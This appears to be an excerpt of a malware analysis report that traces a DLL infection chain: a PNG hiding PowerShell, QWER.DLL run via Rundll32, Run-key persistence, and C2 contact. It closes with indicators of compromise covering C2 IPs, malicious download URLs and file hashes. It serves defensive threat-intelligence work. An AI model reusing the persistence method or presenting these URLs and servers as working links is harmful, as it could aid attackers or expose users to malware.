The executed malicious payload will download a PNG file from the same IP containing Powershell payload that will download malicious DLL from one of the domains, save it at *C:/ProgramData* with name *QWER.DLL*. Afet that, it will execute Rundll32.exe to run QWER.DLL with an arbitrary argument. The execution of QWER.DLL with arbitrary argument served as the trigger for the next execution of QWER.DLL with specific argument of DIIRegisterServer which is the real entrypoint of the DLL.

The malicious DLL will duplicate itself to a new arbitrary path in *C:/<Users>/AppData/Local/* with new arbitrary name and arbitrary arguments and register itself in *HKCU\Software\Microsoft\Windows\CurrentVersion\Run* in Windows registry. As a result, the malicious DLL will be persistent and will be executed every time the user boots up their machine. The persistence malware will communicate with the C2 server at 159.69.43.124 through the port 8080.

Indicator of Compromises

IP address

• 91.240.118[.]168

- 159.69.43[.]124:8080 (C2 Servers)
- 45.79.80[.]198 (C2 Servers)

Domains

- http://91.240.118[.]168/oo/aa/se.html
- http://91.240.118[.]168/oo/aa/se.png
- http://farmmash[.]com/edh2fa/g2Q7Qbgs/
- http://karensgardentips[.]com/cgi-bin/hfpv/
- http://centrobilinguelospinos[.]com/wp-admin/w8528qkQnMPLDUc/
- http://unitedhorus[.]com/wp-content/m3oxVSV2uYW2rbh/
- http://vldispatch[.]com/licenses/JE6Ol2dfhrk/
- http://il-piccolo-principe[.]com/wp-content/Ua9GvD7acXnDz/
- http://hardstonecap[.]com/well-known/ps9kNMgc6/
- http://3-fasen[.]com/wp-content/3BI0hBbW/
- http://baldcover[.]com/wp-admin/oRwkRUWpbJ55/

Hash

- 25995b47257212e2e3ca5f7704c9e830 (untitled_176399.xls)
- 9bf1102cd38dc1364f54407bb4cb2a (se.html)
- 63f0672552a000605e99190036e9676f (se.png)
- 74bb69b8ba9d2b649f4de5adb2cf06d9 (QWER.DLL)

Full report can be seen here